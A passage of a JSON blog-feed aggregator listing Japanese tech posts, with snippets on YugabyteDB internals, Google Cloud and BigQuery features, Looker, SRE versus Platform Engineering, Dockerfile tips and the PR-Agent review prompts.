failureYB-Masterは通常のIOオペレーションではクリティカルパスでは無いため、ユニバースを動作させるのに影響は無い。しかしYB-Masterは異るノードで動作するピアーのRaftグループの一部であるため。このピアーのうちの一つがアクティブなマスターで残りがアクティブスタンバイである。YB-Masterのリーダーであるアクティブマスターに障害が発生した場合、ピアーはリーダーの障害を検知し、新なアクティブマスターであるYB-Masterのリーダーを障害時に数秒以内で再選出する。","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/9_core_functions_high_availability","isoDate":"2023-10-21T15:12:37.000Z","dateMiliSeconds":1697901157000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Google Application Integrationについて","contentSnippet":"whatGoogle Cloudの「Application Integration」というサービスについて軽く調べたことをまとめたログ関連してiPaasについても調べたことを記載する Application Integrationとはhttps://cloud.google.com/application-integration?hl=jaGoogle Cloudが提供するIntegration Platform as a Service（iPaaS）ソリューションビジュアルエディタを利用することによって、以下がノーコードで行えるイベントによるトリガーの...","link":"https://zenn.dev/nedoko_dok0dko/articles/365af68bb280e7","isoDate":"2023-10-18T09:20:05.000Z","dateMiliSeconds":1697620805000,"authorName":"seno","authorId":"seno"},{"title":"Cloud Asset Inventoryとは","contentSnippet":"whatGoogle Cloud のCloud Asset Inventoryについて調べてわかったことの個人まとめ Cloud Asset Inventoryとはhttps://cloud.google.com/asset-inventory/docs/overview?hl=jaCloud Asset Inventory は、時系列データベースに基づいてインベントリ サービスを提供します。このデータベースは、Google Cloud のアセット メタデータの 35 日間分の履歴を保持します。過去 35 日間変更がない既存のアセットの場合、Cloud Asset ...","link":"https://zenn.dev/nedoko_dok0dko/articles/e80d73d4f28a79","isoDate":"2023-10-13T10:27:12.000Z","dateMiliSeconds":1697192832000,"authorName":"seno","authorId":"seno"},{"title":"Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた","contentSnippet":"こんにちは、初めましての方もそうでない方も、Sreake事業部 佐藤慧太(@SatohJohn)です。 今回Google CloudのVertex AI Search(旧Enterprise Search)について検証の […]The post Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/vertex-ai-search-summary-tool/","isoDate":"2023-10-12T03:46:53.000Z","dateMiliSeconds":1697082413000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース","contentSnippet":"株式会社スリーシェイクが提供するSRE総合支援サービス「Sreake（スリーク）」は、新たに 、システムのインシデント対応を一元化するプラットフォーム「PagerDuty」の導入支援サービス「PagerDutyパッケージ」を正式リリースいたしました。The post スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pagerduty-package/","isoDate":"2023-10-10T00:50:00.000Z","dateMiliSeconds":1696899000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"『SREとPlatform Engineerの交差点:2つの領域の交差と組織への適用』というタイトルで登壇しました","contentSnippet":"概要Platform Engineering Meetup #5 で SREとPlatform Engineerの交差点:2つの領域の交差と組織への適用 というテーマで登壇をしました。SREからPlatform Engineerへの拡大のセルフリバイバルになります。このブログでは、参考資料を見るために利用してください。気が向いたら続き書く資料 speakerdeck.com参考文献O’Reilly Japan – SRE サイトリライアビリティエンジニアリングO’Reilly Japan – サイトリライアビリティワークブックO’Reilly Japan – SREの探求SRE at Google: How to structure your SRE team | Google Cloud BlogレトロスペクティブガイドWhat Is Platform Engineering?What Team Structure is Right for DevOps to Flourish?Making the Business Case for a Dedicated Platform Engineering TeamCNCF Platforms White PaperSRE NEXTPlatform Engineering Meetupチームトポロジー　価値あるソフトウェアをすばやく届ける適応型組織設計The History of DevOps ReportsEffective DevOpsTop Strategic Technology Trends for 2023: Platform Engineering道を照らす: プラットフォーム エンジニアリング、ゴールデンパス、セルフサービスのパワーオブザーバビリティ・エンジニアリングWebエンジニアのための監視システム実装ガイドネットワーク・エフェクト　事業とプロダクトに欠かせない強力で重要なフレームワークINSPIRED 熱狂させる製品を生み出すプロダクトマネジメント","link":"https://syu-m-5151.hatenablog.com/entry/2023/10/05/233555","isoDate":"2023-10-05T14:35:55.000Z","dateMiliSeconds":1696516555000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREとPlatform Engineerの違いを3つのポイントで理解する","contentSnippet":"はじめに プラットフォームエンジニアリング（Platform Engineering）とサイト信頼性エンジニアリング（SRE, Site Reliability Engineering）はともに、ITインフラとアプリケー […]The post SREとPlatform Engineerの違いを3つのポイントで理解する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/3-diffs-with-sre-and-platform-engineer/","isoDate":"2023-10-04T03:49:57.000Z","dateMiliSeconds":1696391397000,"authorName":"Sreake","authorId":"Sreake"},{"title":"DietPi で DNLA サーバー","contentSnippet":"Raspberry Pi 4 を買った週に Raspberry Pi 5 が発表されてちょっと悔しいところですが Windows XP 時代から OS を更新しながら使っていた古いデスクトップPCを処分したのでそこで使っていた HDD をラズパ","link":"https://blog.1q77.com/2023/09/minidlna-on-dietpi/","isoDate":"2023-09-30T08:33:09.000Z","dateMiliSeconds":1696062789000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Kubernetes における秘密情報の管理方法","contentSnippet":"自己紹介 竹下 2023年8月21日からインターンに参加している早稲田大学基幹理工学研究科 M1 竹下です。SRE関連の技術と，自身が研究しているセキュリティ分野との関係性を学びたいと思い、インターンに参加しました。 中 […]The post Kubernetes における秘密情報の管理方法 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-secret-management/","isoDate":"2023-09-25T08:35:29.000Z","dateMiliSeconds":1695630929000,"authorName":"Sreake","authorId":"Sreake"},{"title":"EventBridge Scheduler からの Lambda 関数起動に Lambda Permission は不要","contentSnippet":"AWS Lambda 関数の他サービスからの呼び出しAWS Lambda 関数にはリソースベースポリシーを割り当てることができます。関数を他のサービスから呼び出すとき，通常はリソースベースポリシーにそのサービスからの実行を許可するポリシーを追加する必要があります。例えば，Amazon SNS からイベント駆動で呼び出す場合は，以下のように add-permission コマンドを実行することでポリシーを追加することができます。aws lambda add-permission --function-name example-function \\\\--action lambda...","link":"https://zenn.dev/toshikish/articles/743f69389aa99c","isoDate":"2023-09-22T10:16:34.000Z","dateMiliSeconds":1695377794000,"authorName":"toshikish","authorId":"toshikish"},{"title":"スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「インフラストラクチャ – サービス」のスペシャライゼーション認定を取得","contentSnippet":"Google Cloud – Sell エンゲージメントモデルにおけるプレミアパートナーである株式会社スリーシェイク（本社：東京都新宿区、代表取締役社長：吉田 拓真、以下スリーシェイク）は、Google Cl […]The post スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「インフラストラクチャ – サービス」のスペシャライゼーション認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-specialization/","isoDate":"2023-09-22T00:50:00.000Z","dateMiliSeconds":1695343800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"WSL 2 で外部ストレージをマウント","contentSnippet":"Laptop を Linux で使用していた時の遺産を WSL 環境でも使おうと XFS でフォーマットされた USB 接続の HDD をマウントする方法がないかなと思って調べたメモ。 Microsoft のドキュメントにありました。 Linux","link":"https://blog.1q77.com/2023/09/wsl2-mount-volume/","isoDate":"2023-09-21T14:08:28.000Z","dateMiliSeconds":1695305308000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Open InterpreterのDockerfile を書いたのでTipsとか","contentSnippet":"Dockerfile のベストプラクティスを考える機会はありますが皆さんの意見も聞きたい。今回は噂の便利ツール、Open Interpreterのような外部コマンドをどんどん実行して環境を作り変えるようなタイプのツールの場合にはDockerはとても有用です。そのようなツールを利用する時のDockerfile について考えていきます。リポジトリは以下になります。github.comGitHub Actionsとの連携GitHub Actionsは、CI/CD（継続的インテグレーションと継続的デリバリー）をGithub 上に簡単に実装できるツールです。今回は、trivy.ymlとdocker-publishを利用することで、セキュリティのスキャンとDockerイメージの自動公開が可能です。github.comtrivy.ymlの利用trivy.ymlは、Trivyという脆弱性スキャナーをGitHub Actionsで動かすための設定ファイルです。この設定を利用することで、Dockerイメージに存在するセキュリティの脆弱性を自動で検出できます。docker-publishの追加docker-publishは、DockerイメージをDocker Hubや他のレジストリに自動で公開するためのGitHub Actionsのワークフローです。これにより、新しいバージョンのOpen Interpreterがリリースされた際に、手動でイメージをビルド・プッシュする手間が省けます。Renovate.jsonの利用renovate.jsonは、依存関係を自動で更新する設定ファイルですが、これを使うとOpen Interpreterが依存しているライブラリやパッケージが新しくなったときに、自動でプルリクエストが作られるんです。そうすることで、いつも最新の状態を保てるわけですから、セキュリティリスクも減らせます。さらに、Pythonのパッケージも自動で更新したい場合は、requirements.txtを使って設定しておくと便利です。これにより、Pythonの依存パッケージも最新の状態を維持できるようになります。github.comDockerfileを書く際の注意点私は以下のようなDockerfileを書きましたその際に以下のようなポイントを意識して書いたので参考にしてください。github.com軽量なベースイメージの使用不必要なパッケージを含まない軽量なベースイメージを使用することで、ビルド時間とイメージサイズを削減できます。FROM python:3.11キャッシュの最適化RUNコマンドを効率的に配置することで、Dockerキャッシュを最適化できます。RUN apt-get update && \\\\ apt-get upgrade -y && \\\\ apt-get install -y --no-install-recommends git && \\\\ rm -rf /var/lib/apt/lists/*不必要なパッケージの削除--no-install-recommendsオプションを使用して、不必要なパッケージをインストールしないようにします。 apt-get install -y --no-install-recommends git && \\\\作業ディレクトリの設定WORKDIRを設定することで、その後のコマンドの実行ディレクトリを明示的に指定できます。WORKDIR /root機密情報はコンテナイメージに絶対に埋め込まない社内で有識者へ投げたら機密情報をビルドイメージに追加することを指摘されたので運用時の手癖やミスで何処かのレイヤーに不用意に埋め込まないようにしたgithub.comまとめDockerでOpen Interpreterを運用する際には他にもいろいろ考えるべきことがあると思うので皆さんと議論したいのでIssue待ってます。","link":"https://syu-m-5151.hatenablog.com/entry/2023/09/20/002920","isoDate":"2023-09-19T15:29:20.000Z","dateMiliSeconds":1695137360000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"BigQueryの行列レベルのアクセス制御について","contentSnippet":"whatBigQueryにおける「行列レベル」のアクセス制御について調べたことをまとめる そもそも: 行・列単位に対してのアクセス制御は可能なのか?A. できるそれぞれ記載していく 列単位https://cloud.google.com/bigquery/docs/column-level-security-intro?hl=ja列に対して事前定義したポリシータグと呼ばれるものを付与することで、特定のアカウントやグループだけが列にアクセスできる。アクセスポリシーはSQLを実行する際に確認され、許可されていないメンバーからのクエリはAccess Denitedと...","link":"https://zenn.dev/nedoko_dok0dko/articles/bc6a413eb623c7","isoDate":"2023-09-14T11:46:25.000Z","dateMiliSeconds":1694691985000,"authorName":"seno","authorId":"seno"},{"title":"Cloud Deployを使ったCloud Runのリリース","contentSnippet":"概要Cloud RunのリリースにCloud Deployを使ってみます。 そもそもCloud Deployとはhttps://cloud.google.com/deploy?hl=jaGKE、Cloud Runのリリースを管理できるサービスになります。リリースフローを記載したパイプラインの定義を作成し、パイプラインを作成したら、フローを管理できるようになります。各フローでは基本内部でskaffoldを通して、Cloud Buildが実行される形です。Cloud Deployを使うと以下のような、リリースフローになるかと思います。Cloud BuildでImageを...","link":"https://zenn.dev/satohjohn/articles/7e6a70edc8f36e","isoDate":"2023-09-13T05:47:13.000Z","dateMiliSeconds":1694584033000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"GitHub ActionsでWorkload Identityでの認証を入れてGoogle CloudのAPIを叩く","contentSnippet":"概要正直難しいと思ってたのですが、資料を読んでいくと表面上、実装は難しくありませんでした。GitHub ActionsとGoogle Cloudを連携する場合、json管理とかしなくても済むし、基本的にやっておいて損はないと思います。ユースケースとしては、例えば、GitHub Actionsで実行した結果(report)をGoogle Cloud Storageにデータを送りたいなどの際に使えると思います。Identity Poolに対して、providerは複数作成できるため、いろんな GitHub Actionsから利用されるようなパターンでも、provider:scri...","link":"https://zenn.dev/satohjohn/articles/1645be8e83eab6","isoDate":"2023-09-11T14:17:35.000Z","dateMiliSeconds":1694441855000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"コンテナセキュリティ TetragonとPodSecurity/seccompの機能比較","contentSnippet":"自己紹介 高島 陸斗 千葉工業大学修士1年生の高島陸斗です。大学院では、コンピュータによる数値計算の厳密解との誤差がどの程度あるのかを調べる精度保証の精度を上げるための研究をしています。サイバーセキュリティに興味があり、 […]The post コンテナセキュリティ TetragonとPodSecurity/seccompの機能比較 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/container-security-comparison/","isoDate":"2023-09-11T07:22:29.000Z","dateMiliSeconds":1694416949000,"authorName":"Sreake","authorId":"Sreake"},{"title":"BigQueryのオンデマンド料金におけるコスト管理方法についてメモ","contentSnippet":"whatBigQueryにおけるコスト管理方法について、公式ドキュメントを元にメモしたログ今回はオンデマンド料金について記載のため、定額料金(BigQuery Editions)に関しては記載しない 高額請求が来てしまうパターンとはよく見かける/耳にするのは以下のような場合(あくまで一例)大量にデータをスキャンするクエリを実行するselect * 系のクエリを投げる(Table Patitionを利用したテーブルの場合)partitionで指定しないでクエリを投げる料金がかかるクエリをバッチなど利用して連続で実行してしまうTable Patition...","link":"https://zenn.dev/nedoko_dok0dko/articles/f0da04c4a70ea6","isoDate":"2023-09-11T01:56:24.000Z","dateMiliSeconds":1694397384000,"authorName":"seno","authorId":"seno"},{"title":"YugabyteDBのドキュメントを全部読む Day8","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Write I/O pathを読みました。今回はArchitecture > Core functions > Read I/O pathを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Read I/O pathI/O Pathはタブレットリーダーが特定されリード処理を実行する単一キーの例で説明することが出来る。Tablet leader identificationユーザーが発行したYQLクエリレイヤに作用するリードリクエストはポートから適切なAPI(YQLまたはYCQL)を経由して行なわれる。このユーザリクエストはYQLレイヤで内部キーに変換され、YQLレイヤがタブレットとそれをホストするYB-TServerを発見するのに利用される。YQLレイヤはこれをYB-MasterにたしてRPC呼び出しを実行するために行なう。またそのレスポンスは将来の利用のためにキャッシュされる。その後YQLレイヤはリーダータブレットピアーをホストするYB-TServerに対してリード処理を行なう。このリード処理は内部キーを保持するタブレットのRaftグループのリーダーによって処理される。このリードリクエストを処理するRaftグループのリーダーはDocDBから読み込みを実行し、その結果をユーザーに戻す。Write I/O Pathで説明した通り、YugabyteDBのスマートクライアントではアプリケーションのリクエストを直接適切なYB-TServerに送信することが出来るため、余計なネットワークホップやマスターへのアクセスを省略することが出来る。Read operation performed by tablet leaderkという値をKというプライマリキー行に持つテーブルT1からデータを取得するケースについて考える。またテーブルT1はキー行Kと値行Vを持つものとする。1下記の画像はリード処理について説明している。YugabyteDBはデフォルトでは強整合性の読み取りを採用している。リードクエリはさらに複雑になることもある。YQLクエリレイヤーは式やビルトイン関数、算術演算を含むクエリを処理するfully-optimized2されたクエリエンジンを持っている。SELECT K,V from T1 where K = \'k\'ということ↩↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/8_core_functions_read_io_path","isoDate":"2023-09-06T18:37:55.000Z","dateMiliSeconds":1694025475000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"まずPR-AgentをPromptとします。","contentSnippet":"「ツールよりもプロンプトのほうが、隙間がなくて効率的なのでは？」... ああ、面倒なブログになるな、とおれは直感した。はじめに近年、プルリクエスト（PR）の管理が開発フローにおいてますます重要な位置を占めるようになっています。ただし、PRをより良く作る作業は往々にして煩雑で手間がかかりがちです。その解決策として、Codium AIによって開発されたPR-Agentが脚光を浴びています。このAIソフトウェアは、OpenAIのGPT-4技術を基盤にしており、単にOpenAIのAPIキーを設定するだけで、既存のCI/CDパイプラインに簡単にインテグレーションできます。github.comPR-Agentの主な機能PR-Agentは、様々なPR関連作業を自動化するための多機能なオープンソースプロジェクトです。具体的には、以下のような機能群を提供しています。/describe: タイトル、種類、要約、コードの詳細説明、およびラベルを自動で作成するためのPR（プルリクエスト）説明自動生成機能。/review: PRの主題、種類、関連テスト、セキュリティ問題、評価スコア、その他のフィードバックを調整可能に提供する自動レビュー機能。/ask ...: PRに関するフリーテキスト質問に回答する質問応答機能。/improve: PRを改善するためのコミット可能なコード提案を行うコード改善提案機能。/update_changelog: PRの変更内容に基づき、CHANGELOG.mdファイルを自動で更新する更新履歴自動更新機能。PR-AgentはOpenAIのAPIキーを設定するだけでCI環境に簡単に組み込め、開発者が効率的なPR作成と管理を行えるよう支援します。このツールはGPT-4を用いて高精度なソースコード解析とレビューを自動で行い、開発者が重要なポイントに集中できるようにします。さらに、「PR Compression Strategy」と呼ばれる独自のアルゴリズムによって、大規模なPRでも重要なファイルと主要な言語のコードブロックに焦点を当てた効率的なレビューが可能です。それ以外にもさまざまな設定により、PR-AgentはPR作成とレビューのプロセスを自動化し、効率化する強力なツールであり、大規模プロジェクトにおいてもスムーズかつ効率的なレビュープロセスを実現します。これらをどのように動作させればよいのかはUsage guideを読んでみてください。PR-Agent のPromptPR Compression Strategyにより、送信するファイルの戦略が定められています。その設定に加えて、pr-agent/pr_agent/settings/ ディレクトリには、TOML形式でプルリクエスト（PR）のレビュープロンプトのテンプレートが含まれています。具体的には、pr_review_promptはpr_reviewer_prompts.toml ファイルに定義されており、これがPRのレビュープロセスにおける基本的な指示とフォーマットを規定しています。この構成により、PRレビューが一貫性を持ち、効率的に行えるよう設計されています。pr_reviewer_prompts.toml 解説pr_reviewer_prompts.tomlは、Pull Request（PR）レビューに関する設定と指示を定義する設定ファイルです。この設定ファイルは、PRレビューを自動化する際に利用されます。pr_review_prompt セクションsystemこの設定は、レビュワーがどのような役割を果たすべきかを定義しています。具体的なPR Diffの入力例も提供され、新しく追加されたコード（+で始まる行）に焦点を当てるよう指示されています。system=\\"You are PR-Reviewer, a language model designed to review git pull requests. ...\\"num_code_suggestionsコード提案が必要な場合、その数や重要度についての指示がこの部分に記載されています。{%- if num_code_suggestions > 0 %}- Provide up to {{ num_code_suggestions }} code suggestions. ...{%- endif %}extra_instructionsパラメータで、追加的な指示や設定を行うために使用されます。この項目は主に以下のような用途で利用されることが多いです。{%- if extra_instructions %}Extra instructions from the user:{{ extra_instructions }}{% endif %}YAMLスキーマこの部分で、PRレビュワーが出力するレビュー結果のYAMLフォーマットが定義されています。Main theme, PR summary, Type of PR, etc.これらは、PRに関する基本情報を整理するためのフィールドです。Main theme: type: string description: a short explanation of the PRScore, Relevant tests added, Insights from user\'s answer, etc.これらのフィールドは、PRに関する詳細な評価やテスト情報、ユーザーからのフィードバックに基づく評価を行います。Score: type: int description: Rate this PR on a scale of 0-100 ...General suggestions, Code feedback, Security concernsこれらのフィールドは、具体的なコード提案やセキュリティ上の懸念など、PRのコードに関する詳細なフィードバックを提供します。General suggestions: type: string description: General suggestions and feedback for the contributors ...user セクションこのセクションは、PR作成者から提供される情報（タイトル、ブランチ、説明文など）を取り込む場所です。user=\\"PR Info:Title: \'{{title}}\'Branch: \'{{branch}}\'Description: \'{{description}}\' ...\\"この設定ファイルによって、PRレビューのプロセスが自動化され、一貫性を持つようになります。特定のプロジェクトやチームに特有の要件に応じて、これらの設定はカスタマイズ可能です。まとめpr_reviewer_prompts.tomlといった設定ファイルを読んで全体としてPRのフォーマットに忠実にプロンプトを作成していったのがわかりました。参考にしていきたいと思います。github.com参考PR-Agent を使って Pull Request をAIレビューしてみた。（日本語対応もしてみた）GitHub - Codium-ai/pr-agent: \uD83D\uDE80CodiumAI PR-Agent: An AI-Powered \uD83E\uDD16 Tool for Automated Pull Request Analysis, Feedback, Suggestions and More! \uD83D\uDCBB\uD83D\uDD0D","link":"https://syu-m-5151.hatenablog.com/entry/2023/09/06/165227","isoDate":"2023-09-06T07:52:27.000Z","dateMiliSeconds":1693986747000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"LookMLとは","contentSnippet":"これは何？Looker内にある機能である「LookML」について調べたことをまとめた個人的備忘録。 LookMLとはLookMLの紹介 \xa0|\xa0 Looker \xa0|\xa0 Google CloudLookML は、Looker Modeling Language の略です。セマンティックデータモデルを作成するためにLookerで使用される言語です。LookMLを使用して、SQLデータベース内のディメンション、集計、計算、およびデータの関係を記述できます。LookMLは「Looker上で利用できる独自の言語」のことをさす　別にMLや機械学習は関係ないLookerは、Lo...","link":"https://zenn.dev/nedoko_dok0dko/articles/18a4a04b98dcb8","isoDate":"2023-09-05T10:46:35.000Z","dateMiliSeconds":1693910795000,"authorName":"seno","authorId":"seno"},{"title":"Nodejs(Nest.js)のアプリケーションのbuildを高速化、slim化してみようの会","contentSnippet":"前提DockerによるNode.jsのインストール(pull)はキャッシュされているものとする.dockerignoreは以下の通りnode_modules.git.gitignore*.mddisttest 最初にまとめ軽く、そんなに依存関係が多くないアプリケーションであればnpmでstaging buildでキャッシュ効かせるぐらいでよいかもRUN --mount=type=cache,target= は効果がありそうである (https://zenn.dev/kou64yama/articles/powerful-docker-build-cache...","link":"https://zenn.dev/satohjohn/articles/c05d29f5d68e0c","isoDate":"2023-09-02T10:02:16.000Z","dateMiliSeconds":1693648936000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Lookerのユーザー権限について","contentSnippet":"これは何Lookerのユーザー権限一覧を個人的にまとめたものhttps://cloud.google.com/looker/docs/admin-panel-users-roles?hl=ja#default_permission_sets ユーザー権限一覧Admin:Developer、Viewer、Standard権限に加え、データソースへの接続やユーザー管理の権限を持つ現時点で確認できる、Adminでしかできない機能については以下データソース(BigQuery等)への接続設定ユーザーの追加・削除・権限の変更ユーザー・グループ単位のフォルダの公開・非公...","link":"https://zenn.dev/nedoko_dok0dko/articles/160cb146e72740","isoDate":"2023-08-31T17:22:40.000Z","dateMiliSeconds":1693502560000,"authorName":"seno","authorId":"seno"},{"title":"YugabyteDBのドキュメントを全部読む Day7","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Table Creationを読みました。今回はArchitecture > Core functions > Write I/O pathを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Write I/O pathWrite I/O pathはYQLレイヤーで処理され、タブレットリーダーによってレプリケーションの準備が行なわれるシングルキーでの書き込みとして例示することが出来る。アトミックなアップデートを共なう複数キーでの分散トランザクションなど複雑なケースについては分散トランザクションに記載する。Write operation processing by YQL layerユーザーが発行したYQLクエリレイヤに作用するライトリクエストはポートから適切なAPI(YQLまたはYCQL)を経由して行なわれる。このユーザーリクエストはYQLレイヤで内部キーに変換される。シャーディングで説明するように、それぞれのキーは一つのタブレットが所有する。どのタブレットがキーを所有するか特定するために、YQLレイヤはYB-MasterにRPC1呼び出しを実行する。そのレスポンスは将来の利用のためにキャッシュされる。YugabyteDBはタブレットの場所をキャッシュし直接参照することでネットワークホップを減らすことで、YQLレイヤが直接適切なYB-TServerにホストされるタブレットリーダーにリクエストを送信することが出来るスマートクライアントを持つ。YQLレイヤがローカルノードにタブレットリーダーを見つけた場合、RPCはローカルファンクションコールになりリクエストをシリアライズとデシリアライズしてネットワーク越しに送信する時間を節約することが出来る。その後YQLレイヤはタブレットリーダーをホストするYB-TServerへの書き込みを発行する。この書き込みはキーを所有するRaftグループのタブレットリーダーによって処理される。Preparation of the operation for replication by tablet leader下記の図はタブレットリーダーがレプリケーションを実行する処理を説明している。タブレットのRaft Groupリーダーは以下の処理を実行する。現在実行されている処理が現在のスキーマに対応しているかを判別するキーに対してローカルin-memoryロックマネージャーを利用してロックを取得する。このロック機構はフォロワーには存在しない必要であればデータを読み込む(read-modify-writeや条件付きアップデート命令など)DocDBに書き込まれる変更のバッチを準備する。この書き込みバッチは殆ど最終的にRocksDBに書き込まれるKey-Valueペアに近く、それぞれのキーの末尾に最終的なhybrid timestampが添えられていないだけであるRaft replication of the write operation書き込みのRaftレプリケーション処理の流れは以下のように説明することが出来る。リーダーがバッチをRaft logにアペンドし、書き込みのためのhybrid timestampを選択するRaftを利用しデータをピアーに複製する成功したRaft replicationのデータをローカルのDocDBに反映するユーザーに成功を返すフォロワータブレットはRaftを利用したデータの複製を受けつけ、コミットされた事が分ったタイミングでその複製をローカルのDocDBに反映する。リーダーは以下のようにコミットポイントに於ける後続のRPCリクエストの進行を進める。書き込みバッチを含むRaftエントリーは過半数以上のタブレットRaft Groupピアーに複製されるRaftのサブシステムから\\"Replication Successful\\"のコールバックを取得したあと、リーダーはローカルのDocDBにバッチの書き込みを適用するリーダーからの次の更新でエントリーがコミットされたことがフォロワーに通知され、フォロワーはそれぞれのRocksDBインスタンスにバッチの書き込みを適用する。Response to the clientInformation Pending2Exampleskとvという値をKという行とVという行をもつテーブルT1に挿入する例について考える3。この例ではユーザーアプリケーションがランダムなYugabyteDBサーバにWriteクエリを送信し、そのサーバがリクエストを適切にルーティングすると仮定して簡略化している。特にYCQLではYugabyteDB Smart Clientを使うことで、余分なネットワークホップを避けることが出来る。↩原文ママ。過去のバージョンでも記載無し↩INSERT INTO T1 (K,V) VALUES(\'k\',\'v\')ということ↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/7_core_functions_write_io_path","isoDate":"2023-08-30T16:03:36.000Z","dateMiliSeconds":1693411416000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"ChatGPT \xd7 Slack = ChatOpsを実現する「h1-slack-bot」の紹介","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 本記事では、ChatOps […]The post ChatGPT \xd7 Slack = ChatOpsを実現する「h1-slack-bot」の紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/chatgpt-slack-integration/","isoDate":"2023-08-24T07:04:08.000Z","dateMiliSeconds":1692860648000,"authorName":"Sreake","authorId":"Sreake"},{"title":"YugabyteDBのドキュメントを全部読む Day6","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Universe creationを読みました。今回はArchitecture > Core functions > Table Creationを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Table CrationYugabyteDBではユーザーにより実行されるテーブルの作成はYB-Masterのリーダーが実行する非同期APIによって管理される。YB-MasterはそのAPIでテーブルのスキーマと障害耐性を高めるために形成するRaftグループに所属するYB-Masterでのテーブル作成に必要な他の情報のレプリケーションが完了した段階でAPIの成功を返す。YB-Masterのリーダーがテーブル作成を実行するときは複数のステップが存在する。ValidationYB-Masterリーダーはテーブルスキーマの検証を行ない、指定された数のタブレットを作成する。これらのタブレットはこの段階ではYB-TServerには割り振られていない。ReplicationYB-MasterリーダーはYB-MasterのRaftグループにテーブルスキーマと新しく作成されたタブレット(この時点ではYB-TServerへの割り当て行なわれていない)の複製を行なう。この処理はYB-Masterリーダに障害が発生してもテーブル作成が成功することを保証する。Acknowledgementテーブル作成処理はYB-Masterリーダーに障害が発生しても処理を継続することが出来るため、この段階で非同期テーブル作成APIは成功を返す。ExecutionYB-Masterリーダーはそれぞれのタブレットをレプリケーションファクターとして指定された数だけYB-TServerに割り当てを行なう。このタブレットピアーの配置は指定された障害耐性を実現でき、またタブレットの割り当てがYB-TServerに均等に行なわれるように実行される。タブレットのYB-TServerへの割り当てはタブレットのレプリカが複数クラウド、リージョン、アヴェイラビリティゾーンをまたいで分散するといった追加の制約を満す必要がある。Continuous monitoringYB-Masterリーダーは全てのタブレットの割り当て処理を監視し、その実行状態と完了をユーザーが実行したAPIコールに対して応答する必要がある。Examplesテーブルが4ノードからなるYugabyteDBUniverseに作成される処理について考える。このときテーブルは16のタブレットと3つのレプリケーションファクターを持つとする。YB-Masterリーダーはスキーマを検証する。また16タブレット(合計48のタブレットピアー)を作成し、Raftを利用して過半数のYB-TServerにテーブルの作成に必要なデータを複製する。作成したタブレットをRaftグループを成すYB-TServerの中の指定された数のYB-TServer割り当て、リーダーの選出を行なう。このタブレットに属するキーに対する全てのリードとライトは、タブレットピアーのリーダーとRaftグループが責任を持つ。タブレットが割り当てられると長期に渡る障害か将来のロードバランシングが発生しYB-Masterにオーナーシップを変更されるまで、割り当て先のYB-TServerが所有する。タブレットリーダーをホストするYB-TServerの内の1台に障害が発生した場合、タブレットのRaftグループはI/Oを処理するために即座にリーダーエレクションを実行する。そのためYB-MasterはI/Oにおけるクリティカルパスになることはない。レプリケーション先となる候補を探す。この複製処理は段階的かつGracefulに実行される。","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/6_core_functions_table_creation","isoDate":"2023-08-23T14:26:45.000Z","dateMiliSeconds":1692800805000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"ChatGPT: SREがCustom instructions機能を利用する","contentSnippet":"はじめに最近、ChatGPTからCustom instructions機能がリリースされました。Custom instructionsとは、ChatGPTの応答方法をより詳細に制御するカスタム命令を設定することができる機能です。ChatGPTの利用者にとって非常に便利な機能です。この機能により、ユーザーは特定の応答スタイルやフォーマットを要求することができるようになりました。これは、特定の業界や専門分野での使用など多岐にわたる用途に適応できるため、非常に有用です。めちゃくちゃ端的にかつ語弊を恐れずにいうと毎回、prompt を入力しなくてよくなるやつです。以前、公開したプロンプトに関するブログsyu-m-5151.hatenablog.comOpenAI CEOのSam Altman氏も、Custom instructionsのポストをしていましたので参考にしてみても良いかもしれません。damn i love custom instructions pic.twitter.com/su0BlttJF7— Sam Altman (@sama) 2023年7月22日 その上で私が利用してるものを公開します。What would you like ChatGPT to know about you to provide better responses?I\'m a software 